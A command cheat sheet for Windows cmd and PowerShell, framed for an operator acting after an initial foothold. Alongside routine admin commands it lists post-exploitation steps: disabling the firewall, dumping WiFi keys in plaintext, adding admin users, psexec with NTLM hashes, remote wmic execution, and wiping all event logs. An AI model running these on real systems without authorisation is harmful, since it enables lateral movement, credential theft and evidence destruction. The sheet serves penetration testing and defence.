Windows Commands#
A reference for the operator working a Windows host from cmd.exe.
The page covers the network admin one-liners, share enumeration,
remote command execution via psexec and wmic, registry
poking via reg, and a PowerShell command appendix for everything
the operator drives after the initial foothold.
Find#
$ <COMMAND> | find /c /v "" # count lines of StdOut
ARP, IP#
$ arp -a # show ARP table with MACs
$ ipconfig /all # show IP configuration
$ ipconfig /displaydns # show DNS cache
Credentials#
$ cmdkey /list # list cached credentials
Dir#
$ dir /b /s <Directory>\<FileName> # search directory for specific file
DISM#
$ dism /online /disable-feature /featurename:<feature name>
$ dism /online /Enable-Feature /FeatureName:TelnetClient
$ dism /online /get-features | more
Loops#
$ for /F %i in ([file-set]) do [command] # iterate over files
$ for /L %i in ([start],[step],[stop]) do <command> # counting loop
Net#
$ net accounts /domain # domain password policy
$ net group "Domain Admins" /domain # Domain Admin users
$ net group "Domain Controllers" /domain # list Domain Controllers
$ net group /domain # domain groups
$ net localgroup "Administrators" # local Admins
$ net localgroup "Administrators" user /add # add a user to the local Admin group
$ net share # current mounted shares
$ net share \\<IP> # remote host shares
$ net share cshare C:\<share> /GRANT:Everyone,FULL # share local folder with everyone
$ net time \\<IP> # time on remote host
$ net use \\<IP>\ipc$ "" "/user:" # NULL session
$ net use \\<IP>\ipc$ <PASS> /user:<USER> # remote IPC$
$ net use r: \\<IP>\ipc$ <PASS> /user:<DOMAIN>\<USER> # map drive
$ net user /domain
$ net user <USER> <PASS> /add
$ net view /domain
$ net view /domain:<DOMAIN>
Netsh#
$ netsh firewall set opmode disable # turn off firewall
$ netsh interface ip set address local dhcp # DHCP interface
$ netsh interface ip set address local static <IPaddr> <Netmask> <DefaultGW> 1
$ netsh interface ip set dns local static <IPaddr>
$ netsh interface ip show interfaces # list local interfaces
$ netsh wlan export profile key=clear # export WiFi password in plaintext
$ netsh wlan show profiles # local wireless profiles
Netstat#
$ netstat -ano <N> | find <port> # port usage every N seconds
$ netstat -nao # all TCP/UDP active ports and PIDs
$ netstat -s -p <tcp|udp|ip|icmp> # detailed protocol stats
Nslookup#
$ nslookup -type=any example.com
$ nslookup -type=ns example.com
$ nslookup <IP>
$ nslookup <IP> <NAMESERVER>
$ nslookup example.com
PsExec#
$ psexec /accepteula \\<IP> -c C:\Tools\program.exe -u <DOMAIN>\<USER> -p <PASS>
$ psexec /accepteula \\<IP> -i -s "msiexec.exe /i setup.msi" -c setup.msi
$ psexec /accepteula \\<IP> -s c:\windows\system32\winrm.cmd quickconfig -quiet 2>&1> $null
$ psexec /accepteula \\<IP> -s cmd.exe
$ psexec /accepteula \\<IP> -u <DOMAIN>\<USER> -p <LM:NTLM> cmd.exe /c dir c:\file.exe
$ psexec /accepteula \\<IP> -u <DOMAIN>\<USER> -p <PASS> -c -f \\<IP_2>\share\file.exe
$ psexec /accepteula \\<IP> hostname
$ psexec /accepteula \\<IP1>,<IP2>,<IP3> hostname
Reg#
$ reg add \\<IP>\<RegDomain>\<Key>
$ reg export <RegDomain>\<Key> <OutFile.txt>
$ reg query \\<IP>\<RegDomain>\<Key> /v <ValueName>
Robocopy#
$ Robocopy /ipg:750 /z /tee \\<IP>\<SHARE> \\<IP_2>\<SHARE> # with bandwidth limit
$ Robocopy <source> <destination> [file...] [options] # example syntax
$ Robocopy C:\UserDir C:\DirBackup /E # full directory copy
$ route print # routing table
$ runas /user:<USER> "file.exe [args]"
SC#
$ sc \\<IP> create <SERVICE>
$ sc \\<IP> create <SERVICE> binpath= C:\Windows\System32\Newserv.exe start=auto obj=<DOMAIN>\<USER> password=<PASS>
$ sc query
$ sc query \\<IP>
$ sc query \\<IP> <ServiceName>
$ sc query <ServiceName>
$ sc query state=all
$ set
System#
$ systeminfo /S <IP> /U <DOMAIN\USER> /P <PASS> # pull system info
$ taskkill /PID ## /F # kill PID
$ tasklist /m # processes and DLLs
$ tasklist /S <IP> /v # remote process listing
$ tasklist /svc # processes and services
$ ver # OS version
WMIC#
$ wmic <alias> <where> <verb> # example
$ wmic /node:<IP> /user:<User> /password:<Pass> process list full
$ wmic /node:<IP> process call create "\\<SMB_IP>\share\file.exe" /user:<DOMAIN>\<USER> /password:<PASS>
$ wmic /node:<IP> computersystem get username
$ wmic logicaldisk list brief
$ wmic ntdomain list
$ wmic process call create C:\<process>
$ wmic process list full
$ wmic qfe # patches applied
$ wmic startup
$ wmic service
$ xcopy /s \\<IP>\<dir> C:\<LocalDir>
PowerShell snippets#
$ <PSCommand> | Convert-to-Html | Out-File - FilePath example.html
$ <PSCommand> | Export-CSV C:\example.csv
$ <PSCommand> | Select-Object <Field>, <Field2> | Export-CSV | C:\example.csv
$ Add-Content
$ Backup-SqlDatabase -ServerInstance "Computer\Instance" -Database "Databasecentral"
$ Clear-Host
$ Compare-Object
$ Copy-Item
$ gdr -PSProvider 'FileSystem'
$ get-childitem C:\Users -Force | select Name
$ get-command
$ Get-Content
$ get-eventlog -list
$ get-executionpolicy
$ get-help -name <Command>
$ get-history
$ get-localgroup | ft Name
$ get-localgroupmember Administrators | ft Name, PrincipalSource
$ get-localuser | ft Name, Enabled,LastLogon
$ Get-Process
$ get-process <PID1>, <PID2> | format-list *
$ get-service
$ get-service | Where-Object {$_.Status -eq "Running"}
$ get-uptime
$ get-winevent -list
$ Group-Object
$ Invoke-WebRequest
$ Measure-Object
$ Move-Item
$ New-Item
$ Remove-Item
$ Resolve-Path
$ Resume-Job
$ Set-Content
$ set-executionpolicy -ExecutionPolicy Bypass
$ Set-Item
$ Set-Location
$ Set-Variable
$ Show-Command
$ Sort-Object
$ Start-Job
$ Start-Process
$ Start-Service
$ stop-process -name "notepad"
$ Suspend-Job
$ Wait-Job
$ wevtutil el | Foreach-Object {wevtutil cl "$_"} # delete all event log files
$ wevtutil el # list all logs
$ Where-Object
$ Write-Output